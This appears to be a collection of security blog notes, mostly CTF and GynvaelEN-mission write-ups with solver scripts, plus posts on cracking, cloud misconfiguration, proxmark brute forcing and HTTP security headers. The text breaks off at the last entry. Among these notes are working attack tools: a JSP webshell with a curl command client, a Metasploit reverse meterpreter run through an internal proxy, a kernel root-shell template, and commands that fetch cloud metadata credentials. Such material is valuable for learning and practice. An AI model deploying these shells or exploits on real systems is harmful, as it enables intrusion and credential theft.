# An XOR alternative


# cat xor_alternative.py
import sys

# data contains hex chars (a-f + 0-9) and random chars
# Chars are not repeated
data = '2ubfLkR0vsJ#)=SQtXNcO6AYPT1U+ja7W*h9I-y4GeHzn5&BK;_@$U3dm8^%'

def obfuscate(s, step):
 out = ''
 ldata = len(data)
 ls = len(s)
 for i in s:
  h = hex(ord(i))[2:]
  for j in h:
   p = data.index(j)
   p2 = (p + step) % ldata
   out += data[p2]
 return out

def deobfuscate(s, step):
 out = ''
 ldata = len(data)
 ls = len(s)
 for i in range(0, ls, 2):
  h = ''
  for j in range(2):
   p = data.index(s[i + j])
   p2 = (p - step) % ldata
   h += data[p2]
  out += chr(int(h, 16))
 return out

action = sys.argv[1]
s = sys.argv[2]
step = int(sys.argv[3])

print 'String =', s
print 'Step =', step

if action == 'o':
 print 'Action = Obfuscate'
 print 'Result =', obfuscate(s, step)
elif action == 'd':
 print 'Action = Deobfuscate'
 print 'Result =', deobfuscate(s, step)

# python xor_alternative.py o SECRET 1234
String = SECRET
Step = 1234
Action = Obfuscate
Result = c+=c=+ch=cc=

# python xor_alternative.py d c+=c=+ch=cc= 1234
String = c+=c=+ch=cc=
Step = 1234
Action = Deobfuscate
Result = SECRET

Reference

https://isc.sans.edu/forums/diary/Obfuscating+without+XOR/22544/

# GynvaelEN's mission 006


# cat mission_06.py
from PIL import Image
import qrtools

n = 25
m = 3
fn = 'mission_06.png'

matrix = [255 for i in range(n * n)]

with open('mission_06.data') as f:
 data = f.read().splitlines()

for line in data:
 line = line[1:-1].split(', ')
 i = int(line[0])
 j = int(line[1])
 matrix[(i*n) + j] = 0

image = Image.new('L', (n, n))
image.putdata(matrix)
image.save(fn)

img = Image.open(fn)
img = img.rotate(-90)
img = img.resize((n * m, n * m), Image.ANTIALIAS)
img.save(fn)

qr = qrtools.QR(filename = fn)
if qr.decode():
 print qr.data

# python mission_06.py
Mirrored QR? Seriously?!

Source

https://www.youtube.com/watch?v=KvyBn4Btv8E (1:32:02)

# GynvaelEN's mission 005


# curl -v http://gynvael.vexillium.org/ext/thepicture/picture.image
Content-Encoding: rle
Content-Type: image/raw; w=640,h=212,bpp=8
# cat mission_05.py
from struct import unpack
from PIL import Image

with open('picture.image') as f:
 cdata = f.read()

ddata = []

for i in range(0, len(cdata), 2):
 v = unpack('B', cdata[i + 1])[0] ^ 1
 for _ in range(unpack('B', cdata[i])[0]):
  ddata.append(v * 255)

image = Image.new('L', (640, 212))
image.putdata(ddata)
image.save('output.png')
# python mission_05.py


Source

https://www.youtube.com/watch?v=W7s5CWaw6I4 (1:20:57)

Reference

https://en.wikipedia.org/wiki/Run-length_encoding

# Confidence CTF 2k17: Starbyte - misc - 200 pts


# cat starbyte.py
from PIL import Image, ImageDraw
import scipy.io.wavfile
import sys
import wave

inputfile = sys.argv[1]

wave_read_object = wave.open(inputfile, 'rb')
print 'Number of audio channels = ',  wave_read_object.getnchannels()
print 'Sample width = ', wave_read_object.getsampwidth(), '(bytes)'
print 'Sampling frequency = ', wave_read_object.getframerate(), '(Hz)'
frames = wave_read_object.getnframes()
print 'Number of audio frames = ', frames
wave_read_object.close()
rate, data = scipy.io.wavfile.read(inputfile)

last_frame = -1
c = ''
r = ''
i = 0

for frame in data:
 if frame > 90:
  if last_frame != 1:
   c += '1'
   i += 1
  last_frame = 1
 elif frame > 23:
  if  last_frame != 0:
   c += '0'
   i += 1
  last_frame = 0
 else:
  last_frame = -1
 if i == 10:
  nc = ''
  for j in c:
   nc = j + nc
  r += chr(int(nc, 2))
  c = ''
  i = 0
r = r.split('\n')

image = Image.new('RGB', (1000, 1000), 'black')
draw = ImageDraw.Draw(image)

for line in r:
 line = line.split()
 if 'LINE' in line:
  x1, y1, x2, y2 = map(int, line[1:])
  draw.line([(x1, y1), (x2, y2)], 'green')
 #elif 'REKT' in line:
 # x1, y1, x2, y2 = map(int, line[1:])
 # draw.rectangle([(x1, y1), (x2, y2)], None, 'green')
 elif 'CRCL' in line:
  x1, y1, rad = map(int, line[1:])
  draw.arc([(x1 - rad, y1 - rad), (x1 + rad, y1 + rad)], 0, 360, 'green')

image.save('image.png')
# python starbyte.py starbyte.wav
Number of audio channels =  1
Sample width =  1 (bytes)
Sampling frequency =  44100 (Hz)
Number of audio frames =  3885808
# eog image.png

# GynvaelEN's mission 004


# cat mission_04.py
def hex2bin(h):
 binary = ''
 for i in range(0, len(h), 2):
  byte = u[i:i + 2]
  binary += format(int(byte, 16), '08b')
 return binary

def decode(u):
 lu = len(u)
 if lu == 2:
  return u.decode('hex')
 elif lu  == 4:
  binary = hex2bin(u)
  r = binary[3:8] + binary[10:]
  return chr(int(r, 2))
 elif lu  == 6:
  binary = hex2bin(u)
  r = binary[4:8] + binary[10:16] + binary[18:]
  return chr(int(r, 2))
 elif lu  == 8:
  binary = ''
  binary = hex2bin(u)
  r = binary[5:8] + binary[10:16] + binary[18:24] + binary[26:]
  return chr(int(r, 2))

message = 'E0818F766572C1ACE081AFE081AEC1A7E080A0E08195C194E081862DE080B8E080A0F08081B7C1A17320C1B3F08081B563C1A820E081A1F08080A0E081A6F08081B5F08081AE20E081A6E081A5F08081A1C1B475E081B2E081A5F08080AE'

result = ''

i = 0

while i < len(message):
 byte = int(message[i:i+2], 16)
 binary = format(byte, '08b')
 if binary[0] == '0':
  j = 2
 elif binary[0:3] == '110':
  j = 4
 elif binary[0:4] == '1110':
  j = 6
 elif binary[0:5] == '11110':
  j = 8
 u = message[i:i + j]
 i += j
 result += decode(u)

print result
# python mission_04.py
Overlong UTF-8 was such a fun feature.

Source

https://www.youtube.com/watch?v=iwRSFlZoSCM (1:26:42)

Reference

https://es.wikipedia.org/wiki/UTF-8#Codificaci.C3.B3n_de_los_caracteres

# GynvaelEN's mission 003


# cat mission_03.py
import itertools

def base4to10(num):
 result = 0
 ln = len(num) - 1
 for i in num:
  result += int(i) * (4 ** ln)
  ln -= 1
 return result

def ascii_string(s):
 for i in s:
  if ord(i) < 32 or ord(i) > 126:
   return False
 return True

with open('huffman.code') as f:
 bd = f.read()[:-1]

values = ['0', '1', '00', '01', '10', '11', '000', '001', '010', '011', '100', '101', '110', '111']

for i in itertools.permutations(values, 4):
 tree = {
  i[0]: '0',
  i[1]: '1',
  i[2]: '2',
  i[3]: '3',
 }
 code = ''
 result = ''
 for d in bd:
  code += d
  if code in tree:
   result += tree[code]
   code = ''
 try:
  decv  = base4to10(result)
  hexv = hex(decv)[2:].replace('L', '')
  ascv  = hexv.decode('hex')
  if ascii_string(ascv) and len(ascv) > 4:
   print 'tree =', tree
   print 'result =', result
   print 'dec =', decv
   print 'bytes =', hexv
   print 'ascii =', ascv[::-1]
   print
 except:
  pass

# python mission_03.py
tree = {'11': '1', '0': '2', '100': '0', '101': '3'}
result = 3231202120213111211131203001031030012101202131112031322131303001323130113211313131312111030030013010300120213011212030012101031
dec = 26860288614901905570716094189682157357950360778336264927367113021610209076301
bytes = 3b6262756576304d30646275637a77307b71797777654c30713062716630644d
ascii = Md0fqb0q0Lewwyq{0wzcubd0M0veubb;

tree = {'11': '1', '0': '3', '100': '0', '101': '2'}
result = 2321303130312111311121302001021020013101303121113021233121202001232120112311212121213111020020012010200130312011313020013101021
dec = 21010374883428224108739011194252932925839770786883498221738205492211234141257
bytes = 2e7373657567204920747365726f66206e616d66667548206120736177207449
ascii = It was a Huffman forest I guess.

Source

https://www.youtube.com/watch?v=iwRSFlZoSCM (1:26:42)

# GynvaelEN's mission 002


# cat mission_02.py
tree = {
'01': '0',
'0010': '1',
'0001': '2',
'00110': '3',
'10': '4',
'000000': '5',
'00000100': '6',
'00000101': '7',
'00000110': '8',
'00000111': '9',
'00001': 'a',
'001110': 'b',
'001111': 'c',
'111': 'd',
'1101': 'e',
'1100': 'f'

}

code = ''
hexencoded = ''

with open('huffman.code') as f:
 bd = f.read()[:-1]
 for d in bd:
  code += d
  if code in tree:
   hexencoded += tree[code]
   code = ''
print hexencoded
print hexencoded.decode('hex')

# python mission_02.py
49204c696b652054726565732e20466c6f7765727320746f6f2e
I Like Trees. Flowers too.

Source

https://www.youtube.com/watch?v=HN_tI601jNU (1:38:27)

Reference

https://www.siggraph.org/education/materials/HyperGraph/video/mpeg/mpegfaq/huffman_tutorial.html

# GynvaelEN's mission 001


# wget https://github.com/dwyl/english-words/raw/master/words.txt
# grep '^........$' words.txt > wordlist.txt
# cat mission_001.py
import hashlib

solution = '76fb930fd0dbc6cba6cf5bd85005a92a'.decode('hex')

wh = {}

with open('wordlist.txt') as f:
 for word in f.read().splitlines():
  h = hashlib.md5(word).digest()
  wh[h] = word

for k, v in wh.iteritems():
 result = ''.join([chr(ord(b1)^ord(b2)) for b1,b2 in zip(k, solution)])
 if result in wh:
  print v, wh[result]
  break
# python mission_001.py
ambrosia virology

Source

https://www.youtube.com/watch?v=JhsHGms_7JQ (1:21:51)

# TLS bridge with socat


# openssl req -newkey rsa:2048 -new -nodes -x509 -days 3650 -keyout key.pem -out cert.pem
# cat key.pem > server.pem
# cat cert.pem >> server.pem
# socat -v openssl-listen:443,cert=/tmp/server.pem,verify=0,reuseaddr,fork,method=ssl3 ssl:127.0.0.1:1234,verify=0,method=tls1.2

# Cracking PBKDF2WithHmacSHA1/160/128000


# cat crack.py
import base64
import hashlib
import sys

dict = sys.argv[1]
b64e = sys.argv[2]
b64d = base64.b64decode(b64e)
secret = b64d[16:]

f = open(dict)
words = f.read().splitlines()
f.close()

hash_name = 'sha1'
salt = b64d[8:16]
iterations = 128000
dklen = 160 / 8

for word in words:
 dk = hashlib.pbkdf2_hmac(hash_name, word, salt, iterations, dklen)
 if dk == secret:
  print b64e, word
  break

# cat dict.txt
test

# python crack.py dict.txt AAAAoAAB9ADMtinzIX3MlHctwKlZd9XHnTgrworaGp3bNFBp
AAAAoAAB9ADMtinzIX3MlHctwKlZd9XHnTgrworaGp3bNFBp test

References

https://en.wikipedia.org/wiki/PBKDF2
https://docs.python.org/3/library/hashlib.html#key-derivation

# Reverse meterpreter through an internal HTTP proxy server


Attacker's host

msf > use payload/python/meterpreter/reverse_http
msf payload(reverse_http) > set lhost LOCAL_PUBLIC_IP
msf payload(reverse_http) > set lport 80
msf payload(reverse_http) > set payloadproxyhost USERNAME:PASSWORD@INTERNAL_PROXY:IP
msf payload(reverse_http) > set payloadproxyport INTERNAL_PROXY_PORT
msf payload(reverse_http) > generate -b '\x00\xff' -t raw -f met.py

msf > use exploit/multi/handler
msf exploit(handler) > set payload python/meterpreter/reverse_http
msf exploit(handler) > set lhost LOCAL_PUBLIC_IP
msf exploit(handler) > set lport 80
msf exploit(handler) > set payloadproxyhost USERNAME:PASSWORD@INTERNAL_PROXY:IP
msf exploit(handler) > set PayloadProxyPort INTERNAL_PROXY_PORT
msf exploit(handler) > run

Compromised server

# python met.py

# JSP webshell


# cat shell.jsp
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
String getcmd = request.getParameter("cmd");
if (getcmd != null) {
 //out.println("Command: " + getcmd + "<br>");
 String[] cmd = {"/bin/sh", "-c", getcmd};
 Process p = Runtime.getRuntime().exec(cmd);
 OutputStream os = p.getOutputStream();
 InputStream in = p.getInputStream();
 DataInputStream dis = new DataInputStream(in);
 String disr = dis.readLine();
 //out.println("<pre>"); 
 while ( disr != null ) {
  out.println(disr); 
  disr = dis.readLine(); 
 }
 //out.println("</pre>"); 
}
%>
# cat shell.sh
#!/bin/bash

HISTFILE=./file_history
history -r

input=""

while [ "$input" != "exit" ]; do
 read -e -p "> " input
 history -s $input
 curl -k --cookie 'VAR1=VALUE1' --cookie 'VAR2=VALUE2' --data-urlencode "cmd=$input" https://DOMAIN/DIR/shell.jsp
done

history -a

# Kernel exploit template


# cat kernel_exploit.tpt
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <fcntl.h>

typedef int __attribute__((regparm(3))) (*commit_creds_t)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_t)(unsigned long cred);

prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

void *get_ksym(char *name) {
 FILE *f = fopen("/proc/kallsyms", "rb");
 char c, sym[512];
 void *addr;
 int ret;

 while (fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0)
  if (!strcmp(sym, name))
   return addr;

 return NULL;
}

void get_root() {
 commit_creds(prepare_kernel_cred(0));
}

int main(int argc, char *argv[]) {

 prepare_kernel_cred = get_ksym("prepare_kernel_cred");
  commit_creds     = get_ksym("commit_creds");

 printf("[+] addr prepare_kernel_cred: %p\n", prepare_kernel_cred);
 printf("[+] addr commit_creds: %p\n", commit_creds);
 printf("[+] addr get_root: %p\n", get_root);

 // == Exploit code ==
 // Buffer overflow
 //   EIP = get_root
 // Null pointer dereference
 //   mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
 //   memcpy(mem, get_root, 0x1000);

 if (!getuid()) {
  char *shell = "/bin/sh";
  char *args[] = {shell, "-i", NULL};
  execve(shell, args, NULL);
 }

 return 0;
}

# flAWS challenge


Level 1: Directory (bucket) listing - Everyone

# # --no-sign-request: Do not sign requests. Credentials will not be loaded if this argument is provided.
# # --region (string): The region to use. Overrides config/env settings.
# aws --no-sign-request --region us-west-2 s3 ls s3://flaws.cloud/
# aws --no-sign-request --region us-west-2 s3 cp s3://flaws.cloud/secret-dd02c7c.html .
# cat secret-dd02c7c.html

Level 2: Directory (bucket) listing - Any authenticated AWS user

# aws --profile level2 configure
# aws s3 --profile level2 --region us-west-2 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
# aws s3 --profile level2 --region us-west-2 cp s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html .
# cat secret-e4443fc.html

Level 3: AWS keys leaked

# aws s3 --no-sign-request --region us-west-2 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
# aws s3 --no-sign-request --region us-west-2 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git .git
# git log
# git checkout f7cebc46b471ca9838a0bdd1074bb498a3f84c87
# cat secret
# aws --profile level3 configure
# aws --profile level3 s3 ls

Level 4: Public snapshot as a backup

# aws --profile level3 --region us-west-2 sts get-caller-identity
# aws --profile level3 --region us-west-2 ec2 describe-snapshots --owner-id 975426262029
# aws --profile level2 --region us-west-2 ec2 create-volume --availability-zone us-west-2a --snapshot-id snap-0b49342abd1bdcb89
# aws --profile level2 ec2 describe-volumes --region=us-west-2
# aws --profile level2 --region us-west-2 ec2 create-security-group --group-name devenv-sg --description 'My security group'
# aws --profile level2 --region us-west-2 ec2 authorize-security-group-ingress --group-name devenv-sg --protocol tcp --port 22 --cidr 0.0.0.0/0
# aws --profile level2 --region us-west-2 ec2 create-key-pair --key-name devenv-key --query 'KeyMaterial' --output text > devenv-key.pem
# aws --profile level2 --region us-west-2 ec2 run-instances --image-id ami-29ebb519 --security-group-ids sg-xxxxxxxx --count 1 --instance-type t1.micro --key-name devenv-key --query 'Instances[0].InstanceId'
# ssh -i devenv-key.pem ubuntu@ip
# mount /dev/xvdb1 /mnt
# cat /mnt/home/ubuntu/setupNginx.sh

Level 5: Metadata at 169.254.169.254

# curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
# echo "aws_session_token = xx" >> .aws/credentials
# aws --profile level5 s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud

Level 6: SecurityAudit policy attached

# aws --profile level6 configure
# aws --profile level6 --region us-west-2 iam get-user
# aws --profile level6 --region us-west-2 iam list-attached-user-policies --user-name Level6
# aws --profile level6 --region us-west-2 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
# aws --profile level6 --region us-west-2 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4
# aws --profile level6 --region us-west-2 lambda list-functions
# aws --profile level6 --region us-west-2 lambda get-policy --function-name Level6
# aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id 's33ppypa75'
# restapiid='s33ppypa75'
# region='us-west-2'
# stagename='Prod'
# functionname='level6'
# curl -k https://$restapiid.execute-api.$region.amazonaws.com/$stagename/$functionname

Reference

https://summitroute.com/blog/2017/02/26/flaws_challenge/

# Patching proxmark3 to brute force HF tags


Patching and flashing
# git clone https://github.com/Proxmark/proxmark3.git
# cd proxmark3/armsrc
# sed '/#include "protocols.h"/ a #include "usb_cdc.h"' iso14443a.c
# sed -i 's/if(BUTTON_PRESS())/if(BUTTON_PRESS() || (usb_poll_validate_length() ))/g' iso14443a.c
# cd ..
# make
# client/flasher /dev/cu.usbmodem1421 armsrc/obj/fullimage.elf

Brute forcing

# for i in `seq 0 255`; do uid=`printf '%08x\n' $i`; echo "hf 14a sim 1 $uid" | client/proxmark3; sleep 3; done

References

http://www.proxmark.org/forum/viewtopic.php?id=2347
https://github.com/Proxmark/proxmark3/pull/77/files

# CodeGate 2017 CTF: EasyCrack 101 - rev - 325 pts



# cat easycrack101.py
import angr, claripy
import r2pipe

for i in xrange(1, 101 + 1):
 fn = 'prob' + str(i)
 r2 = r2pipe.open(filename = fn)
 to_find  = int(r2.cmd('/c mov edi~Good[0]'), 16)
 to_avoid = int(r2.cmd('/c mov edi~No[0]'), 16)
 #print to_find, to_avoid
 p = angr.Project(fn)
 key = claripy.BVS('key', 50 * 8)
 es = p.factory.entry_state(args=[fn, key])
 pg = p.factory.path_group(es)
 ex = pg.explore(find = to_find, avoid = to_avoid)
 found = ex.found[0]
 key = found.state.se.any_str(key).replace('\x00', '')
 print fn + ' = ' + key

# python easycrack101.py
prob1 = T}gTRvNZAK_Exv^vqpDwCW
prob2 = }hGafk~acCtypkaEoi||f}tzsr
prob3 = ELFT[^MYLINQMI_FQFYKOOZ^U
prob4 = <D8;F9G?:0A01?E8@A92
prob5 = JI^pYCXpFZuS[STOZWqvVJFWW
prob6 = 0:B3:91[Y&7913F_30OZ
prob7 = WIVT|ANQCKACJLPRWJ}RRBA
prob8 = 1:5=926;:7696040678854
prob9 = WUYUYYSYQPSMURTWRVPWVRSXXSZY
prob10 = MSTBCCMSWNMTMMDO@UJSOLLMSAT
prob11 = BD92A76;@D>>6E8FG05?F?G6C
prob12 = DEEEDDEDEDDEDEEEEDDDEDEEEED
prob13 = I@P}Y|mB|x@MuXAl|u_RoxCn|jD
prob14 = 5??;>>:<95;>845?9;:8:?4
prob15 = GAGA@GGAG@@G@AAA@A@A@AAAG
prob16 = LDLFDBNLALGOCDFOCAMGLDFJMBO
prob17 = ELZyoZRiERGGxpSNH~R]qtwWEo@o
prob18 = FEB{E{zBFFD}DFEB@@zzCF{xB
prob19 = ;;:;;:;:;:;:;;;::::;:;;:;::
prob20 = vnbcwgqsuefggl|mpqboic
prob21 = HLLLILJHHJJHIKHJMMHK
prob22 = RQyBKyODWSDIEGQNSMSOTFHO
prob23 = 5676;13=;+;5+=0;<><6:859>:08
prob24 = ^<.:Q%.)W,.><VS,$8:7X55=*U/%
prob25 = >:?<:<??>?>>=>>>=<:=
prob26 = ===9=<:=><=<=?=;89?8::??<
prob27 = Kptq~HqIIwKrHrprs~vw
prob28 = SSPRWPkVRkRkRkQRVSPVU
prob29 = J464=D>5.OAGRJ472*)TIT:J=
prob30 = ALMNBBOJqNDODKBrHO__GrIqMOMK
prob31 = 5+0356*=3?5=+2=>5>67845
prob32 = 161=5=?32<?2=211?><3:;11
prob33 = ppvqppqvppqvvqpqqqqvqpqvqvpvq
prob34 = @RxjcJkdpO}[pIJiFGUtnhKTvay
prob35 = hSZFDatdwHvTo_hbhMEMHN[
prob36 = VO^AP_EUSSR@VLANHQSMCTKANWT@A
prob37 = CFCAFKLLFCAMMFNAOEBLAEL@E
prob38 = xmo~zclqi}mdgwf{oovqmbpucto
prob39 = MJEQFIRDRLKOJIEPIOOGWQFN
prob40 = uwsuptquzwzzqwxp~zzu~y
prob41 = )+*/,*)-.,..)+,-).-)-
prob42 = HOHOOOHHHOOOOHHOOOOOHOHHHHOOO
prob43 = YMNJMGFOFODYAJDOL@OAMMNYBJDGO
prob44 = -)--,.(*)/)..*.-,)-(..-
prob45 = bskndsifjscahcklhppaq
prob46 = CGFGGCFHCFEFCEEDGGEFDFCH
prob47 = DTOIFLYFUD@OZPGPRDLXT
prob48 = WtFGGP^^@LuCCE^YuKAYIO
prob49 = 0q7a>>>B<gDwPFpi_5AbxwX
prob50 = TB@YZKTYYEPSNP@OAK@YHG
prob51 = 5?254=5822<??8=43556826<834
prob52 = NMIIJMMKHOKMMLOMKLLMKLNOJKLNM
prob53 = 792<=>75=9=4<52;=6219:9:;9=<
prob54 = :4(&>)3+;3&.15=3?%=6
prob55 = NLGDGJOHLMLEKFHEHMDFLNMKIFMNI
prob56 = uwuuvwuwvvvwwvuvuwwvwvuuvvuv
prob57 = @DRS@UBRPWXUIJPBNK{WOyAZWZFSX
prob58 = NIAFK{HBJ|qNC|CzDCzNpNTTKpM
prob59 = jroo|zniylzuxs}rtymoqkr
prob60 = ;8::<<=:;;:8;<;>;;;=<<;:
prob61 = TTKUUTKKKTUUTKUTKTKUUUTKUTKKT
prob62 = uOlWq^~nQN^crr@hXShtOD
prob63 = bNw~_z}~AHbrk{XBeH_}
prob64 = EDEDDEEDEDEDDEEEDDDEDEEDEDE
prob65 = SfhUoj[PkRhlVSQVZRhhS[PQVe
prob66 = rsrqiqooolilnqmqnnmonmho
prob67 = -15w(=b(a{lok2vTh>j-Ho
prob68 = SSRQSSSRQSSSSSSRQSRQQRSSQR
prob69 = hiihhihihihiiihhhhhi
prob70 = qtqtohp}}rijjwvr|qr|}nrq
prob71 = ?SYRE]CP2UDOH/k46N5J#
prob72 = <#lf-7,=H#172t.Yye2)Fl_Vh&
prob73 = Wbov~zqg[IZ}jxwvf}FYR[aY
prob74 = cccccccccccccccccccccc
prob75 = NFPiOYZvKYEW^bgRmBAM
prob76 = UjJb,U+)**UzF1pj2bx{ls
prob77 = HNEMpINJzGJHYLnHbYzMqNKO
prob78 = IIIOHONOHOOHIOHOOHOIHI
prob79 = MLOOLLNONNOOMOLNILNNOM
prob80 = deba5:Jnv|Eb?4>kBXnRf[L|?I
prob81 = _XON^]LNO^CLD[[LJZZL]]MFO
prob82 = nhimninlmnmmlonionnmlhloolnh
prob83 = SYVK]YOGvSCrOCuR_FTQ@qu]w^wX
prob84 = GGNDAFAD@D@EODMNGNBOGLFMMO
prob85 = 6(1:*2<9=37>.)7788+97/41
prob86 = 8E3>4/3K2=AKF+-*G91,9/
prob87 = WTRUUTU]RWW_]S]]PRQQV
prob88 = LJ@XFL^ETLC_Y@UMZWQ@Z_AYTMZP
prob89 = ckakcocoldcnocaeoejjk
prob90 = QTRUQ^QTUUUUQTUTQTQSTSSRP
prob91 = C@KE@N@FGKDG@AAMCLONN
prob92 = CMISDCN@@G@HIPKBRPP@PPNHC
prob93 = DGDGEFDDGGDDGDFEEEFFEEFG
prob94 = vvvvvvvvvvvvvvvvvvvvvvvvvv
prob95 = x]zweUnmcDEFyVbyF|SWlU
prob96 = TTU_U__T[^YUY[_^U[XT^T^__[Z[
prob97 = 10111010011101110010111101010
prob98 = qtuqtvwtqtvtqpwwttqutvttut
prob99 = W(,T,*V),(URW-W-UT*,,R+*
prob100 = m9-9r9/VA4&8BM=R*+OMrgf
prob101 = ttvwtjivikitiivjvsuisjukthki

# HTTP security headers


X-XSS-Protection

X-XSS-Protection: 0; // no protection
X-XSS-Protection: 1; // filters xss but renders the page
X-XSS-Protection: 1; mode=block // blocks the page

Protection against reflected xss.

Content Security Policy

Content-Security-Policy: <policy>

Protection against xss. Controls what resources are allowed to load.

HTTP Strict Transport Security (HSTS)

Strict-Transport-Security: max-age=<expire-time>
Strict-Transport-Security: max-age=<expire-time>; includeSubDomains
Strict-Transport-Security: max-age=<expire-time>; preload // Use a preload list

Connections to the site will use HTTPS, except the first one, if preload is not used.

HTTP Public Key Pinning (HPKP)

Public-Key-Pins: pin-sha256=<base64>; max-age=<expireTime>;
Public-Key-Pins: pin-sha256=<base64>; max-age=<expireTime>; includeSubDomains
Public-Key-Pins: pin-sha256=<base64>; max-age=<expireTime>; report-uri=<reportURI>

Dynamic pinning. Check if the certificate matches the pins stored.

X-Frame-Options

X-Frame-Options: DENY // No one can put the page in an iframe
X-Frame-Options: SAMEORIGIN // Only from the same site
X-Frame-Options: ALLOW-FROM https://example.com/

Avoids clickjacking attack.

X-Content-Type-Options

X-Content-Type-Options: nosniff;

Solves the "MIME sniffing" problem.

Referer-Policy

Referrer-Policy: <policy>

Allows you to specify when the browser will set a referer header

Cookies Options

Set-Cookie: <key>=<value>; Expires=<expiryDate>; Secure; HttpOnly; SameSite=strict
// Secure: only sent over HTTPS
// HttpOnly: can not be accessed from javascript
// SameSite: lax or strict. Defends against Cross-Origin Request Forgery (CSRF)

References

https://blog.appcanary.com/2017/http-security-headers.html
https://securityheaders.io

# AlexCTF: CR5: Bring weakness - 300 pts


Get random numbers

# cat get.py 
from pwn import *

host = '195.154.53.62'
port = 7412

def give_me_the_next_number():
 r.sendlineafter('2: Give me the next number\n', '2')
 number = int(r.recvline())
 return number

r = remote(host, port)

for i in xrange(4):
 print give_me_the_next_number()

r.close()
# python get.py
855109115
895402096
2391280583
300480802

Linear congruential generator

random_n+1 = ((a * random_n) + c) % m
a = multiplier
c = increment
m = modulus

Get modulus

# cat get_modulus.py
from pwn import *

host = '195.154.53.62'
port = 7412

def give_me_the_next_number():
 r.sendlineafter('2: Give me the next number\n', '2')
 number = int(r.recvline())
 return number

def egcd(a, b):
 if a == 0:
  return (b, 0, 1)
 else:
  g, y, x = egcd(b % a, a)
 return (g, x - (b // a) * y, y)

results = []

for i in xrange(20):
 r = remote(host, port)
 last = give_me_the_next_number()
 current = give_me_the_next_number()
 tn = current - last
 last = current
 current = give_me_the_next_number()
 tn1 = current - last
 last = current
 current = give_me_the_next_number()
 tn2 = current - last
 u = abs(tn2*tn - tn1**2) # Important
 r.close()
 results.append(u)

print results

for i in xrange(0, 19):
 print egcd(results[i], results[i+1])[0]

# python get_modulus.py
[312571317250000395, 2949916660717308525, 640738713015133065, 435603004762385760, 2439656571633178950, 11411209872061185300L, 6407385815891338380, 610020832043386185, 1779427408702485555, 149150577634188375, 3371733426053132880, 402697709832197265, 2394242682672509175, 854013216788180865, 829159057095801915, 2030937970488420525, 9719562562552278360L, 4544082617950022895, 157160975107204845, 5385743285459484420L]
12884901885
12884901885
4294967295
8589934590
42949672950
17179869180
4294967295
4294967295
4294967295
4294967295
4294967295
4294967295
55834574835
4294967295
30064771065
4294967295
12884901885
244813135815
12884901885

Modulus = 4294967295 == 2**32 -1

Solve the equation with Wolfram Alfa and get (a, c)

r0 = 855109115
r1 = 895402096
r2 = 2391280583
r3 = 300480802
m = 4294967295
r1 = ((a*r0) + b) mod m
r2 = ((a*r1) + b) mod m
r3 = ((a*r2) + b) mod m

a = 6771334847
c = 6621298821

Get the flag

# cat get_flag.py
from pwn import *

host = '195.154.53.62'
port = 7412

def give_me_the_next_number():
 r.sendlineafter('2: Give me the next number\n', '2')
 number = int(r.recvline())
 return number

def guess_the_next_number(number):
 next = lcg(number)
 r.sendlineafter('2: Give me the next number\n', '1')
 r.sendlineafter('Next number (in decimal) is\n', str(next))
 return next

def lcg(seed):
 a = 6771334847
 c = 6621298821
 m = 4294967295
 return ((seed * a) + c) % m

r = remote(host, port)

seed = give_me_the_next_number()

for i in range(10):
 print seed
 seed = guess_the_next_number(seed)

print r.recvline()
r.close()

# python get_flag.py
604672456
322278383
3842182927
2626463750
2042127376
830485493
3402655117
2936071940
3380135806
3463756493
flag is ALEXCTF{f0cfad89693ec6787a75fa4e53d8bdb5}

References

https://en.wikipedia.org/wiki/Linear_congruential_generator
http://security.stackexchange.com/questions/4268/cracking-a-linear-congruential-generator

# AlexCTF: CR4: Poor RSA - 200 pts


Get modulus and exponent from public key

# openssl rsa -pubin -inform PEM -text -noout < key.pub
Public-Key: (399 bit)
Modulus:
    52:a9:9e:24:9e:e7:cf:3c:0c:bf:96:3a:00:96:61:
    77:2b:c9:cd:f6:e1:e3:fb:fc:6e:44:a0:7a:5e:0f:
    89:44:57:a9:f8:1c:3a:e1:32:ac:56:83:d3:5b:28:
    ba:5c:32:42:43
Exponent: 65537 (0x10001)

Factor the modulus with factordb

# python -c 'print 0x52a99e249ee7cf3c0cbf963a009661772bc9cdf6e1e3fbfc6e44a07a5e0f894457a9f81c3ae132ac5683d35b28ba5c324243'
833810193564967701912362955539789451139872863794534923259743419423089229206473091408403560311191545764221310666338878019
863653476616376575308866344984576466644942572246900013156919
965445304326998194798282228842484732438457170595999523426901

Generate a private key and decrypt the flag

# ipython

In [1]: import gmpy

In [2]: p = 863653476616376575308866344984576466644942572246900013156919

In [3]: q = 965445304326998194798282228842484732438457170595999523426901

In [4]: e = 65537L

In [5]: d = long(gmpy.invert(e,(p-1)*(q-1)))

In [6]: n = p * q

In [7]: from Crypto.PublicKey import RSA

In [8]: key = RSA.construct((n,e,d))

In [9: f = open('flag.b64')

In [10]: edata = f.read()

In [11]: f.close()

In [12]: import base64

In [13]: key.decrypt(base64.b64decode(edata))
Out[13]: 'ALEXCTF{SMALL_PRIMES_ARE_BAD}'

# AlexCTF: RE4: unVM me - 250 pts


Decompilation

# uncompyle unvm_me.pyc > source.py
# cat source.py
import md5
